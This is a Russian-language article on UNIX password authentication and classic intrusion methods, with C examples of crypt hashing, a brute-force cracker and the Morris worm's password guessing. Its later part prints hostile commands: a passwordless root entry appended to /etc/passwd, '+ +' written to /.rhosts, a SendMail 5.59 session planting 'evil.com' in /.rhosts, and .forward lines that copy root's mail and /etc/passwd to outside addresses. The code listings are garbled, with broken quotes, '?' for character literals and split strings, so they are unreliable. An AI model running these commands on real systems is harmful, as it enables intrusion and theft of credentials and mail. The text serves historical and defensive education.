Cистема защиты UNIX - одно из самых хитрых изделий, созданных программистами. Да она и обязана быть такой, поскольку в компьютерном мире полным-полно злых программ, которые вцепляются в любую слабую систему и держат ее мертвой хваткой.

Cегодня появилось много изощренных методов аутентификации, в том числе основанных на биометрических показателях, но ни один из них не получил особенно широкого распространения. Подавляющее большинство защит до сих пор действуют по парольной схеме. Неудачный выбор пароля - одна из главных причин успеха большинства атак. Несмотря на все усилия администраторов, рекомендующих использовать в качестве паролей бессмысленные нерегулярные последовательности символов наподобие «acs95wMD», пользователи не всегда дают себе труд запомнить даже простые слова и порой выбирают что-то наподобие «54321» или «qwerty».

Подобрать пароль иной раз удается тривиальным, слегка автоматизированным перебором. Однако перебор бессилен против систем, оснащенных средствами из разряда «intruder detection» (обнаружение вторжения). Стоит при вводе пароля ошибиться несколько раз подряд, как доступ к системе окажется заблокированным. Шансы же угадать пароль меньше чем за десять-двенадцать попыток очень малы. Но даже если в системе не установлены средства обнаружения вторжения, скорость перебора окажется крайне низкой, в силу медлительности процесса авторизации.

Очевидно атакующему приходится искать другие пути, например, пытаться получить содержимое файла паролей. Еще в самых ранних версиях UNIX разработчики предвидели последствия хранения паролей в открытом виде и предприняли необходимые меры безопасности. Ныне пароли UNIX хранятся в зашифрованном виде, и даже если подсмотреть содержимое файла паролей, это ничего не даст. Если, конечно, их не удастся расшифровать. Одни утверждают, дескать, это невозможно даже теоретически, другие, будто в обход всех математических законов, проникают в чужие системы. Но как? Попробуем разобраться.

Строго говоря, выражение «зашифрованные пароли» в отношении UNIX неточно. UNIX зашифровать-то пароль зашифрует, но вот расшифровать обратно его не сможет ни злоумышленник, ни легальный пользователь, ни даже сама операционная система. Как же система ухитряется безошибочно отличать «своих» от «чужих»?

На самом деле ничего удивительного здесь нет. Прежде чем привести алгоритм авторизации, рассмотрим процедуру побайтовой сверки паролей. Для этого напишем тестовую программу на Си:

#include 
#include 
void main()
{
	char buf[100],fbuf[100];
	FILE *f;
	if (!(f=fopen(«passwd.simple»,»r»)))
 return;
	printf(«Enter password:»);
	fgets(&buf[0],100,stdin);
	fgets(&fbuf[0],100,f);
	if (strcmp(&buf[0],&fbuf[0]))
		printf(«Wrong password!
»);
	else
		printf(«Password ok
»);
}

Ядро этой простой системы аутентификации состоит всего из одной строки if (strcmp(&buf[0],&fbuf[0])), побайтно сравнивающей цепочку, введенную в качестве пароля, с цепочкой из файла паролей.

Разумеется, файл паролей необходимо сформировать загодя, и для этого пригодится следующая программа:

#include 
void main(int count, char ** arg)
{
	char buf[100];
	FILE *f;
	if (!(f=fopen(«passwd.simple»,»w»))) return;
	printf(«Enter password:»);
	fgets(&buf[0],100,stdin);
	fputs(&buf[0],f);
	fclose(f);
}

На запрос «Enter password:» введем любую пришедшую на ум цепочку. Например, «MyGoodPassword». Запустив программу, убедимся: она уверенно распознает правильные и ложные пароли, работая на первый взгляд безупречно.

Увы, такую защиту очень легко обойти. Если есть доступ к файлу паролей, тривиальный просмотр содержимого позволит получить пароли всех пользователей. Для разминки воспользуемся командой type и на экране незамедлительно появится содержимое файла паролей:

type passwd.simple
MyGoodPassword

Разработчики UNIX нашли оригинальное решение, прибегнув к необратимому преобразованию - хешированию. Предположим, выбрана некая функция f, преобразующая исходную строку к некой последовательности байт таким образом, чтобы обратный процесс был невозможен или требовал огромного объема вычислений, заведомо недоступного злоумышленнику.

Если строка s1 равна строке s2, то и f(s1) равно f(s2). Это дает возможность отказаться от хранения паролей в открытом виде. В самом деле, вместо этого можно сохранить значение функции f(passwd), где passwd — оригинальный пароль. Затем применить ту же хеш-функцию к паролю, введенному пользователем (userpasswd), и, если f(userpasswd) == f(passwd), то и userpasswd == passwd. Поэтому доступность файла «зашифрованных» паролей уже не позволяет непосредственно воспользоваться ими в корыстных целях, поскольку функция f гарантирует, что результат ее вычислений необратим, и исходный пароль найти невозможно.

Полезно самостоятельно написать простенькую программу, работающую по описанной методике. Правда сначала необходимо выбрать функцию преобразования, отвечающую указанным условиям, но это сложная задача, требующая серьезных познаний в криптографии, поэтому просто посчитаем сумму ASCII-кодов символов пароля и запомним результат. Реализация этого алгоритма приведена ниже:

#include 
#include 
void main()
{
	char buf[100],c;
	int sum=0xDEAD,i=0;
	FILE *f;

	if (!(f=fopen(«passwd»,»w»))) return;
	printf(«Enter password:»);
	fgets(&buf[0],100,stdin);
	while(buf[i])
	{
		c=buf[i++];
		sum+=c;
	}
	_putw(sum,f);
}

Откомпилировав, запустим эту программу на выполнение и в качестве пароля опять введем цепочку «MyGoodPassword». Теперь сформируем программу, проверяющую введенный пользователем пароль:

#include 
#include 
void main()
{
	char buf[100],c;
	int sum=0xDEAD,i=0,_passwd;
	FILE *f;

	if (!(f=fopen(«passwd»,»r»))) return;
	printf(«Enter password:»);
	fgets(&buf[0],100,stdin);
	_passwd=_getw(f);

	while(buf[i])
	{
		c=buf[i++];
		sum+=c;
	}
	if (sum-_passwd) 
	printf(«Wrong password!
»);
		else
	printf(«Password ok
»);
}

Обратите внимание на то, что и в том, и в другом случае использовалась одна и та же функция преобразования. Убедившись в умении программы отличать «свои» пароли от «чужих», заглянем в файл passwd:

type passwd
Yф

Совсем другое дело. Попробуй-ка теперь угадай, какой пароль следует ввести, чтобы система его пропустила. Строго говоря, в приведенном примере это можно сделать без труда, но условимся считать выбранную нами функцию необратимой.

Из необратимости функции следует невозможность восстановления оригинального пароля по его хешу, а доступность файла passwd уже не позволит злоумышленнику проникнуть в систему. Другой вопрос, удастся ли подобрать некую цепочку символов, воспринимаемую системой как правильный пароль? К обсуждению этого вопроса мы еще вернемся, а для начала рассмотрим устройство механизма аутентификации в UNIX.

Ранние варианты UNIX в качестве необратимой функции использовали модифицированный вариант известного криптостойкого алгоритма DES. Под криптостойкостью в данном случае понимается гарантированная невозможность вычисления подходящего пароля никаким иным способом, кроме тупого перебора. Впрочем, существуют специальные платы, реализующие такой перебор на аппаратном уровне и вскрывающие систему за разумное время, поэтому пришлось пойти на рискованный шаг, внося некоторые изменения в алгоритм, «ослепляющие» существующее «железо». Риск заключался в возможной потере криптостойкости и необратимости функции. К счастью, этого не произошло.

Еще одна проблема заключалась в совпадении паролей пользователей. В самом деле, если два человека выберут себе одинаковые пароли, то и хеши этих паролей окажутся одинаковыми. Разработчики нашли элегантное решение, - результат операции хеширования зависит не только от введенного пароля, но и от случайной последовательности бит, называемой привязкой (salt). Разумеется, саму привязку после хеширования необходимо сохранять, иначе процесс не удастся повторить. Однако никакого секрета привязка не представляет, поскольку шифрует не хеш-сумму, а вводимый пользователем пароль. Хеш-суммы, привязки и некоторая другая информация в UNIX обычно хранится в файле /etc/passwd, состоящего из строк следующего вида:

kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash

Первым идет имя пользователя (например, «kpnc»), за ним (между первым и вторым двоеточием) следует то, что по незнанию или для простоты называют «зашифрованным паролем» (рис. 1). На самом деле это никакой не пароль: первые два символа представляют собой привязку, а оставшиеся — необратимое преобразование от пароля, т. е. хеш. Затем идут номер пользователя и номер группы, дополнительная информация о пользователе (как правило, полное имя), а замыкают строй домашний каталог пользователя и оболочка, запускаемая по умолчанию.

Рис. 1. Состав строки файла /etc/passwd

Шифрование паролей происходит следующим образом: генерируется случайное 12-разрядное число, которое преобразуется в два символа привязки, используемые для модификации алгоритма DES. Затем шифруется составленная из пробелов цепочка с использованием пароля в качестве ключа. Полученное 64-разрядное значение преобразуется в 11-символьную цепочку. Спереди к ней дописываются два символа привязки; эта последовательность и записывается в файл паролей.

Продемонстрировать работу функции crypt поможет следующий пример. При запуске программы в командной строке в качестве аргументов следует указать шифруемый пароль и привязку.

#include 
extern char     *crypt(const char*, const char*);
int main(int argc, char *argv[])
{
	printf(«%s
»,crypt(argv[1],argv[2]));
	return 0;
}

Прототип функции crypt выглядит следующим образом: char * crypt(char *passwd, char *solt), где passwd - пароль для шифрования, а solt - два символа привязки. При успешном завершении функция возвращает 13-символьный готовый к употреблению хэш — два символа привязки и 11-символьная хеш-сумма пароля. Теперь можно реализовать некое подобие подсистемы аутентификации UNIX. Первым делом добавим нового пользователя в файл passwd. Один из вариантов реализации приведен далее (для упрощения мы ограничились всего одним пользователем):

#include 
#include 
#include 
extern char     *crypt(const char*, const char*);
int main(int argc, char *argv[])
{
	int a;
	char salt[3];
	FILE *f;
	salt[2]=0;
	srand( (unsigned)time( NULL ) );
	for(a=0;a<2;a++) salt[a]=0x22+(rand() % 0x40);
	if (!(f=fopen(«passwd»,»w»))) return -1;
	fputs(crypt(argv[1],&salt[0]),f);
	fclose(f);
	return 0;
}

Запустим эту программу на выполнение, указав любой произвольный пароль в командной строке, например: «crypt.auth.add.new.user.exe 12345». Теперь заглянем в файл passwd. Хэш в нем должен быть следующим: «^37DjO25th9ps». Очевидно, для проверки правильности вводимого пользователем пароля необходимо выделить первые два символа привязки, вызвать функцию crypt, передав ей в качестве первого параметра проверяемый пароль, а вторым - привязку, в данном случае «^3», и после завершения работы сравнить полученный результат с «^37DjO25th9ps». Если цепочки окажутся идентичными, пароль указан верно. Все это реализовано в следующем примере:

#include 
extern char *crypt(const char*, const char*);
int main(int argc, char *argv[])
{	
	int a=1;
	char salt[2];
	char passwd[12];
	char *x;
	FILE *f;
	passwd[11]=0;
	while(a++) if (argv[1][a]<0x10) {argv[1][a]=0;break;}
	if (!(f=fopen(«passwd»,»r»))) return -1;
	fgets(&salt[0],3,f);
	fgets(&passwd[0],12,f);
	fclose(f);
	if (strcmp(&passwd[0],crypt(argv[1],&salt[0])+2))
		printf(«Wrong password!
»);
	else
		printf(«Password ok
»);
	return 0;
}

Запустим «crypt.auth.exe», указав в командной строке пароль «12345». Программа подтвердит правильность пароля. А теперь попробуем ввести другой пароль, - и результат не заставит себя долго ждать:

crypt.auth.exe 12345
Password ok
crypt.auth.exe MyGoodPasswd
Wrong password!

Время выполнения функции crypt на PDP-11 доходило до одной секунды. Поэтому разработчики посчитали вполне достаточным ограничить длину пароля восемью символами. Попробуем посчитать, какое время необходимо для перебора всех возможных комбинаций. Оно равно (nk-0+ nk-1+ nk-2+ nk-3+ nk-4... nk-(k+1)), где n - число допустимых символов пароля, а k - длина пароля. Для 96 читабельных символов латинского алфавита это время равно приблизительно 7x1015 секунд (более двух сотен миллионов лет). Даже если пароль окажется состоящим из одних цифр, в худшем случае его удастся найти за семь лет, а в среднем за срок вдвое меньший.

Другими словами, сломать UNIX в лоб не удастся. Если бы пароли и в самом деле выбирались случайно, дело действительно обстояло бы именно так. Но в реальной жизни пользователи ведут себя не как на бумаге, и выбирают простые короткие пароли, часто совпадающие с их именем, никак не шифрующимся и хранящимся «открытым текстом».

Первой нашумевшей атакой, использующей человеческую беспечность, был незабываемый вирус Мориса, который распространялся от машины к машине, используя нехитрую методику:

static strat_1()/* 0x61ca */
{
int cnt;
char usrname[50], buf[50];
for (cnt = 0; x27f2c && cnt < 50; x27f2c
 = x27f2c->next) 
{ 
	if ((cnt % 10) == 0) other_sleep(0);
// Проверка на пустой пароль
	if (try_passwd(x27f2c, XS(«»)))
 continue;/* 1722 */
/* If the passwd is something like «*» punt
 matching it. */
// Если вместо пароля стоит символ-джокер,
 пропускаем такой пароль
	if (strlen(x27f2c->passwd) != 13)
 continue;
// Попробовать в качестве пароля подставить
 имя пользователя
	strncpy(usrname, x27f2c, sizeof(usrname)-1);
	usrname[sizeof(usrname)-1] = ??;
	if (try_passwd(x27f2c, usrname)) continue;
// Попробовать в качестве пароля двойное имя пользователя
	sprintf(buf, XS(«%.20s%.20s»), usrname, usrname);
	if (try_passwd(x27f2c, buf)) continue;
// Попробовать в качестве пароля расширенное имя пользовате
// ля в нижнем регистре
	sscanf(x27f2c->gecos, XS(«%[^ ,]»), buf);
	if (isupper(buf[0])) buf[0] = tolower(buf[0]);
	if (strlen(buf) > 3  && try_passwd(x27f2c, buf))
 continue;
// Попробовать в качестве пароля второе расширенное имя 
// пользователя
	buf[0] = ??;
	sscanf(x27f2c->gecos, XS(«%*s %[^ ,]s»), buf);
	if (isupper(buf[0])) buf[0] = tolower(buf[0]);
	if (strlen(buf) > 3  && index(buf, ?,?) == NULL  &&
	try_passwd(x27f2c, buf)) continue;
// Попробовать в качестве пароля имя пользователя
 задом наперед
	reverse_str(usrname, buf);
	if (try_passwd(x27f2c, buf));
}
	if (x27f2c == 0) cmode = 2;
	return;
}

Для пользователя с учетной записью «kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/ bash» вирус в качестве пароля перебирал бы следующие варианты:

  • пустой пароль (вдруг да повезет!);
  • имя пользователя (в приведенном примере kpnc);
  • удвоенное имя пользователя (kpnckpnc);
  • первое расширенное имя в нижнем регистре (kris);
  • второе расширенное имя в нижнем регистре (kaspersky);
  • имя пользователя задом наперед (cnpk).

И это сработало! Как утверждается, инфицированными оказались около шести тысяч компьютеров. Не последнюю роль в проникновении в систему сыграла атака по словарю. Создатель вируса составил список более 400 наиболее популярных с его точки зрения паролей, которые даже сегодня все еще остаются актуальными, и многие пользователи ухитряются использовать те же самые слова, что и двенадцать лет назад.

Внимательно просмотрев этот список, можно предположить, что Роберт читал книгу Френка Херберта «Дюна» или, по крайней мере, был знаком с ней. Как знать, может быть, именно она и вдохновила его на создание вируса? Но, так или иначе, вирус был написан, и всякую доступную машину проверял на десять паролей, выбранных из списка наугад, это частично маскировало присутствие червя в системе. Если же ни один из паролей не подходил, вирус обращался к файлу орфографического словаря, обычно расположенного в каталоге /usr/dict/words:

static dict_words()
{
	char buf[512];
	struct usr *user;
	static FILE *x27f30;
	if (x27f30 != NULL) 
	{
		x27f30 = fopen(XS(«/usr/dict/words»),
 XS(«r»));
		if (x27f30 == NULL)return;
	}
	if (fgets(buf, sizeof(buf), x27f30) == 0) 
	{
		cmode++;
		return;
	}
	(&buf[strlen(buf)])[-1] = ??;
	for (user = x27f28; user; user = user->next)
 try_passwd(user, buf);
	if (!isupper(buf[0])) return;
	buf[0] = tolower(buf[0]);

	for (user = x27f28; user; user = user->next)
 try_passwd(user, buf);
	return;
}

Конечно, сегодня заметна тенденция к усложнению паролей и выбору случайных, бессмысленных последовательностей, но вместе с этим растет и число пользователей, и системные администраторы оказываются просто не в состоянии за всеми уследить и проконтролировать правильность выбора пароля. Поэтому атака по словарю по-прежнему остается в арсенале злоумышленников.

Но не только злоумышленников, ничуть не хуже она служит и самим администраторам. В самом деле, простейший способ уберечь пользователя от слабого пароля состоит в том, чтобы проверить выбранный им пароль по словарю. Курьез, но словари и пользователями и злоумышленниками обычно берутся из одних и тех же источников, поэтому шансы проникнуть в систему, за которой следит предусмотрительный администратор, близки к нулю.

Впрочем, для того чтобы составить словарь самостоятельно, достаточно взять большой текстовый файл и разбить его на слова, отбросив заведомо лишнее.

Но и самый лучший словарь не всегда приводит к успешной атаке. Тем более, пытаясь подобрать пароль администратора, совсем уж тривиальной комбинации ожидать не следует. Но скорость компьютеров возросла многократно, и перебор «в лоб» из утопии превратился в реальность. Так, например, на компьютере с процессором Pentium III можно достичь скорости в 50 тыс. паролей в секунду, что позволяет перебрать все комбинации из строчных латинских букв меньше, чем за месяц - вполне приемлемый для злоумышленника срок. А если использовать несколько компьютеров, распараллелив вычисления, время поиска можно уменьшить во много раз - уже с помощью десяти компьютеров (вполне доступных группе злоумышленников) тот же пароль можно найти за пару дней.

Приведем вариант программы, осуществляющей подбор пароля. Перед запуском программы необходимо сформировать на диске файл passwd с помощью приведенных выше программ, задав пароль, полностью составленный из цифр, например, «12345» (это необходимо для ускорения перебора):

/* crypt.ayth.hack.c */
#include 
extern char     *crypt(const char*, const char*);

int main(int argc, char *argv[])
{	
int a=1,n=0;
char salt[2];
char passwd[12];
char hack[12];
FILE *f;

if (!(f=fopen(«passwd»,»r»))) return -1;
fgets(&salt[0],3,f);
fgets(&passwd[0],12,f);
fclose(f);

for(n=0;n<12;n++) hack[n]=0; hack[0]=?0?;

while(!(n=0))
{
	while( ++hack[n]>?9? ) 
	{
		hack[n]=?0?;
		if (hack[++n]==0) hack[n]=?0?;
	}
	printf(«=%s
»,&hack[0]);
	if (!strcmp(crypt(&hack[0],&salt[0])+2,
&passwd[0]))
	{
		printf(«
Password ok!
»);
		return 0;
	}
}
return 0;
}

Итак, большинство паролей вполне реально вскрыть за вполне приемлемое время, поэтому такая схема аутентификации уже не может обеспечить должной степени защищенности. Конечно, можно попробовать увеличить длину пароля с восьми до десяти-двенадцати символов или использовать более ресурсоемкий алгоритм шифрования, но это не спасло бы от коротких и словарных паролей. Поэтому разработчики UNIX пошли другим путем.

Перебор (как и «словарная» атака) возможен только в тех случаях, когда атакующий имеет доступ к файлу паролей. Большинство современных операционных систем ограничивают количество ошибочных вводов пароля и после нескольких неудачных попыток начинают делать длительные паузы, обессмысливающие перебор. Напротив, если есть возможность получить хеш-суммы пароля, подходящую последовательность можно искать самостоятельно, не прибегая к услугам операционной системы.

Но в UNIX файл паролей доступен всем пользователям, зарегистрированным в системе, любой из них потенциально способен подобрать пароли всех остальных, в том числе и системного администратора. Поэтому в новых версиях появились так называемые теневые пароли (shadow password). Теперь к файлу паролей у непривилегированного пользователя нет никакого доступа и читать его может только операционная система. Для совместимости с предыдущими версиями файл /etc/passwd сохранен, но все пароли из него перекочевали в /etc/shadow (название может варьироваться от системы к системе).

Файл passw :

kpnc:x:1032:1032:Kris Kaspersky:/home/kpnc:/bin/bash

Файл shadow :

kpnc:$1$Gw7SQGfW$w7Ex0aqAI/0SbYD1M0FGL1:11152:0:99999:7:::

На том месте, где в passwd находился пароль, теперь стоит крестик (иногда звездочка), а сам пароль вместе с некоторой дополнительной информацией помещен в файл shadow (рис. 2), недоступный для чтения простому пользователю. Легко заметить появление новых полей, усиливающих защищенность системы: ограничение срока службы пароля и времени его изменения и т.п. Кроме этого, сам зашифрованный пароль может содержать программу дополнительной аутентификации, например: «Npge08pfz4wuk;@/sbin/extra», однако большинство систем обходится и без нее.

Рис. 2 Структура строки из файла shadow

Кажется, что теперь никакая атака невозможна, но это по-прежнему не так (кстати, по умолчанию, использование механизма shadow во многих разновидностях UNIX отключено). Дело в том, что UNIX разрабатывалась в тот период, когда не существовало еще стройной теории безопасности, а появления взломщиков никто не учитывал. В результате, фундаментальный механизм управления привилегиями процессов затрудняет обеспечение защиты системы. Программа, запускаемая пользователем, может иметь больше прав, чем он сам. К одной из таких программ принадлежит утилита смены пароля, обладающая правом записи в файл passwd или shadow. В качестве другого примера, можно привести команду login, имеющую доступ к защищенному файлу shadow.

На первый взгляд в этом нет ничего дурного, и все работает успешно до тех пор... пока работает. Если же в программе обнаружится ошибка, позволяющая выполнять незапланированные действия, последствия могут быть самыми удручающими. Например, поддержка перенаправления ввода-вывода или конвейера часто позволяют злоумышленнику получить любой файл, какой заблагорассудиться. Но если от спецсимволов («<|>») легко избавиться тривиальным фильтром, то ошибкам переполнения буфера подвержены практически все приложения. Переполнение буфера позволяет выполнить злоумышленнику почти любой код от имени запущенной программы. Эти ошибки настолько коварны, что не всегда оказываются обнаруженными и после тщательного анализа исходного текста программы.

Такой поворот событий коренным образом меняет ситуацию с безопасностью. Вместо утомительного перебора пароля, без всяких гарантий на успех, достаточно проанализировать исходные тексты привилегированных программ, многие из которых состоят из сотен тысяч строк кода и практически всегда содержат ошибки, не замеченные разработчиками. А в некоторых системах «срыву» стека подвержен и запрос пароля на вход в систему. Итак, для атаки вовсе не обязательно регистрироваться в системе, достаточно связаться с любой программой-демоном, исполняющейся с наивысшими привилегиями и обслуживающей псевдопользователей.

Псевдопользователь находится в самом низу иерархии пользователей, выглядящей следующим образом. Во главе всех в UNIX стоит root - суперпользователь, обладающий неограниченными правами. Суперпользователь создает и управляет полномочиями всех остальных, обычных, пользователей. С некоторых пор в UNIX появилась поддержка так называемых специальных пользователей - процессов с урезанными привилегиями. К их числу принадлежит, например, анонимный пользователь ftp, так называемый anonymous. Строго говоря, никаких особенных отличий между обычными и специальными пользователями нет, но последние обычно имеют номера пользователя и группы (UID и GID соответственно) меньше 100.

Псевдопользователи принадлежат к иной категории, и операционная система до поры до времени даже не подозревает об их существовании. Когда удаленный клиент подключается к Web-серверу, с точки зрения Web-сервера он становится пользователем, получающим привилегии, которыми наделил его сервер. Но операционная система ничего не знает о происходящем. С ее точки зрения не существует пользователя, подключившегося к приложению-серверу, и его полномочиями управляет исключительно сам сервер. Во избежание путаницы таких пользователей стали называть псевдопользователями.

Обычно псевдопользователи имеют минимальный уровень привилегий, ограниченный взаимодействием с сервером. Ни выполнять команды операционной системы, ни получить доступ к файлу /etc/passwd они не в состоянии. Более того, файлы и каталоги, видимые по протоколам FTP и Web, — виртуальные, не имеющие ничего общего с действительным положением дел. Кажется, что псевдопользователи ничем не угрожают безопасности системы, но на самом деле это не так.

Поскольку права псвевдопользователям назначает процесс-сервер, то потенциально псевдопользователи могут наследовать все его привилегии. Даже если программист не предусматривал этого явно, он мог допустить ошибку, позволяющую выполнять любые действия от имени программы. Большинство серверов в UNIX запускаются с правами root и имеют полный доступ ко всем ресурсам системы. Поэтому псевдопользователь действительно может получить несанкционированный доступ к системе.

Напрашивающийся сам собой выход — запускать серверные приложения с минимальными полномочиями — нереален, в силу особенностей архитектуры операционной системы. Частично ограничить привилегии, разумеется, можно, но грамотная настройка требует определенной квалификации, зачастую отсутствующей у администратора. Точно так, невозможно исключить все ошибки в программах. В языке Си отсутствует встроенная поддержка строковых типов и автоматическая проверка «висячих» указателей, выход за границу массивов и так далее. Поэтому написание устойчиво работающих приложений, состоящих из сотен тысяч строк кода, на нем невероятно затруднено. Иначе устроен, скажем, язык Ада, берущий на себя строгий контроль над программистом. Впрочем, и он не гарантирует отсутствие ошибок: проколы в работе программиста неизбежны и любая система потенциально уязвима, пока не доказано обратное.

Это соображение заставляет вспомнить об известном парадоксе брадобрея: «если брадобрей бреет бороды тем, и только тем, кто не бреется сам, может ли он брить бороду сам себе»? Вот и о защищенности системы ничего нельзя сказать до тех пор, пока кому-либо ее не удастся взломать. И в самом деле, вдруг дыра есть, но до сих пор никто не успел обратить на нее внимание? Уязвимость системы определяется наличием дыры, а защищенность? Интуитивно понятно, защищенность прямо противоположна уязвимости. Но сделать такой вывод можно только после обнаружения признака уязвимости - существует формальный признак уязвимости системы, но не существует признака ее защищенности. В этом-то и состоит парадокс.

На каком же основании выдаются сертификаты, определяющие защищенные системы? Ни на каком. Выдача сертификата - сугубо формальная процедура, сводящаяся к сопоставлению требований, предъявленных к системе данного класса с заверениями разработчиков. Другими словами, - никакой проверки в действительности не проводится. Изучается документация производителя и на ее основе делается вывод о принадлежности системы к тому или иному классу защиты. Конечно, это очень упрощенная схема, но, тем не менее, никак не меняющая суть - сертификат сам по себе еще не гарантирует отсутствия ошибок реализации. Практика показывает: многие свободно распространяемые клоны рядовых UNIX обгоняют своих «орденоносных», сертифицированных собратьев в том, что касается защищенности и надежности работы.

Еще одна уязвимость заключается в наличии так называемых доверенных хостов - узлов, не требующих аутентификации. Это идет вразрез со всеми требованиями безопасности, но очень удобно. Кажется, если «по уму» выбирать себе «товарищей» ничего плохого случиться не может, конечно, при условии, что поведение всех товарищей окажется корректным. На самом же деле сервер всегда должен иметь способ, позволяющий убедится, что клиент именно тот, за кого себя выдает. Злоумышленник может изменить обратный адрес в заголовке IP-пакета, маскируясь под доверенный узел. Конечно, все ответы уйдут на этот самый доверенный узел мимо злоумышленника, но атакующего не интересует ответ сервера - достаточно передать команду типа «echo «kpnc::0:0:Hacker 2000:/:» >> /etc/passwd» и систему можно считать взломанной.

Наконец, можно попробовать проникнуть в доверенные хосты или к доверенным доверенных... и т.п. - чем длиннее окажется эта цепочка, тем больше шансов проникнуть в систему. Иногда приходится слышать, якобы каждый человек на земле знаком с любым другим человеком через знакомых своих знакомых. Конечно, это шутка, но применительно к компьютерным системам... почему бы и нет?

Обычно список доверительных узлов содержится в файле «/etc/hosts.equiv» или «/.rhosts», который состоит из записей следующего вида «[имя пользователя] узел». Имя пользователя может отсутствовать; в таком случае доступ разрешен всем пользователям с указанного узла. Точно такого результата можно добиться, задав вместо имени специальный символ «+». Если же его указать в качестве узла, то доступ в систему будет открыт отовсюду.

Небезызвестный Кевин Митник в своей атаке против Цутому Шимомуры, прикинувшись доверительным узлом, послал удаленной машине следующую команду «rsh echo + + >>/.rhosts», открыв тем самым доступ в систему. Схема такой атаки уже тогда была не нова: задолго до Митника, Морис предсказал ее возможность, поместив подробный технический отчет в один из номеров журнала Bell Labs, выпушенных в 1985 году (Митник же атаковал Шимомору в декабре 1994-го).

Другая классическая атака основана на «дырке» в программе SendMail версии 5.59. Суть ее заключалась в возможности указать в качестве получателя сообщения имя файла «.rhosts»:

# Соединяемся с узлом - жертвой по
 протоколу SMTP
 через 25 порт
telnet victim.com 25
#Указываем в качестве адреса получателя
 сообщения
 имя файла «/.rhosts»
rcpt to: /.rhosts
#Указываем адрес отправителя сообщения
mail from: kpnc@aport.ru 
#Начинам ввод текста сообщения
data
#Вводим произвольный текст (он будет
 проигнорирован)
Hello!
#Точка завершает ввод сообщения
.
#Новое сообщение
#Указываем в качестве адреса получателя имя
 файл «/.rhosts»
rcpt to: /.rhosts
#Указываем адрес отправителя сообщения
mail from: kpnc@aport.ru
#Начинам ввод текста сообщения
data
#Вводим имя собственного хоста или любого
 другого хоста,
 к которому есть доступ
evil.com
#Точка завершает ввод сообщения
.
#Завершение операции и выход
quit

С этого момента взлом можно считать завершенным. Остается подключиться к удаленному узлу и делать на нем все, что заблагорассудиться. Все — за исключением возможности посредством протокола rlogin войти в систему со статусом суперпользователя.

Однако подобные атаки слишком заметны и вряд ли останутся безнаказанными. В UNIX, как и в большинстве других сетевых операционных систем, все потенциально опасные действия (будь то копирование файла паролей или создание нового пользователя) протоколируются, а замести за собой следы не всегда удается - изменения в файлах протокола могут незамедлительно отсылаться в почтовый ящик или даже на пейджер системного администратора. Тем более что /.rhosts — это не тот файл, в который никто и никогда не заглядывает. В том же случае с Митником модификация /.rhosts не осталась незамеченной. Гораздо халатнее большинство администраторов относятся к вопросам безопасности личной почты. А ведь злоумышленнику ничего не стоит так изменить файл /.forward, перехватывая чужую личную почту, в том числе и root. Конечно, наивно ожидать увидеть в почте пароли, но, тем не менее, полученная информация в любом случае значительно облегчит дальнейшее проникновение в систему.

Приведем пример записи, которую можно добавить в файл /.forward для перехвата почты администратора (при условии, что его почтовый адрес выглядит как root@somehost.org). Теперь все письма, поступающие администратору системы, будут дублироваться на адрес kpnc@hotmail.ru:

oot, root@somehost.org, kpnc@hotmail.ru

Точно такую операцию можно проделать и со всеми остальными пользователями системы. Для этого достаточно изменить файлы .forward, находящиеся в их домашних каталогах, а потому обычно не контролируемые администратором. Опытные пользователи могут самостоятельно редактировать свои конфигурационные файлы. За всеми уследить невозможно, да и откуда администратору знать, кто внес эти изменения - легальный пользователь или злоумышленник? Конечно, в приведенном примере все довольно прозрачно, но если не трогать файлы администратора, велики шансы того, что проникновение в систему станет замеченным очень нескоро.

Кстати, если есть доступ к файлу .forward, то, добавив в него строку типа «|/bin/mail/ hack2000@hotmail.com < /etc/passwd», можно попытаться получить требуемый файл с доставкой на дом. В приведенном примере содержимое файла /etc/passwd будет оправлено по адресу hack2000@hotmail.com. Конечно, главное условие успеха такой атаки - наличие дыр в каком-либо приложении. Сегодня все очевидные дыры уже залатаны и слишком уж наивных ляпов от разработчиков ожидать не приходится. Тем не менее, те или иные ошибки выявляются чуть ли не ежедневно; чтобы удостоверится в этом, достаточно заглянуть на любой сайт, посвященный информационной безопасности (скажем, на www.rootshell.com). Разумеется, открытые дыры существуют недолго, и на сайтах разработчиков периодически появляются исправления, а новые версии программ выходят уже с исправленными ошибками.

Вся надежда злоумышленника на халатность системного администратора, не позаботившегося установить свежие заплатки. На удивление таких оказывается много, если не большинство — огромное число успешных взломов лишнее тому подтверждение. Шансы взломщика необыкновенно возрастают, если он обладает квалификацией, достаточной для самостоятельного поиска дыр в системе.

Итак, архитектура ядра UNIX иногда позволяет некорректно работающим приложениям предоставить злоумышленнику привилегированный доступ в систему. Учитывая сложность современных программ и качество тестирования программного кода, ошибки в них весьма вероятны. Для информации: программное обеспечение, используемое в космической промышленности, содержит менее одной ошибки на 10 тыс. строк кода. Типовая конфигурация сервера, работающего под управлением UNIX, может состоять более чем из миллиона строк кода. Таким образом, в сложных приложениях ошибки гарантированы. Не факт, конечно, что хотя бы одна из них может привести к получению несанкционированного доступа к системе, но иногда так именно и происходит.

Об авторе

Крис Касперски — независимый автор. С ним можно связаться по электронной почте по адресу kpnc@sendmail.ru


История

«Нельзя доверять программам, написанным не вами. Никакой объем верификации исходного текста и исследований не защитит вас от использования ненадежного кода. По мере того как уровень языка, на котором написана программа, снижается, находить эти ошибки становится все труднее и труднее. «Хорошо продуманную» (well installed) ошибку в микрокоде найти почти невозможно», - произнес Кен Томпсон в своем докладе, в 1983 году на съезде ACM. Доклад был посвящен вопросам внесения тонких ошибок в код компилятора и заслужил премии Тьюринга.

Доступность исходных текстов операционной системы UNIX и большинства приложений, созданных для нее, привела к тому, что «разборы полетов», как правило, начинались и заканчивались анализом исходных текстов, но не откомпилированных машинных кодов (правда, вирус Мориса все же потребовал трудоемкого дизассемблирования, но это уже другая история). Компилятор же считался бесстрастным, безошибочным, непротиворечивым творением. И вот Томпсона осенила блестящая идея, - научить компилятор распознавать исходный текст стандартной программы login, и всякий раз при компиляции добавлять в нее специальный код, способный при вводе секретного пароля (известный одному Томпсону) пропускать его в систему, предоставив привилегированный доступ.

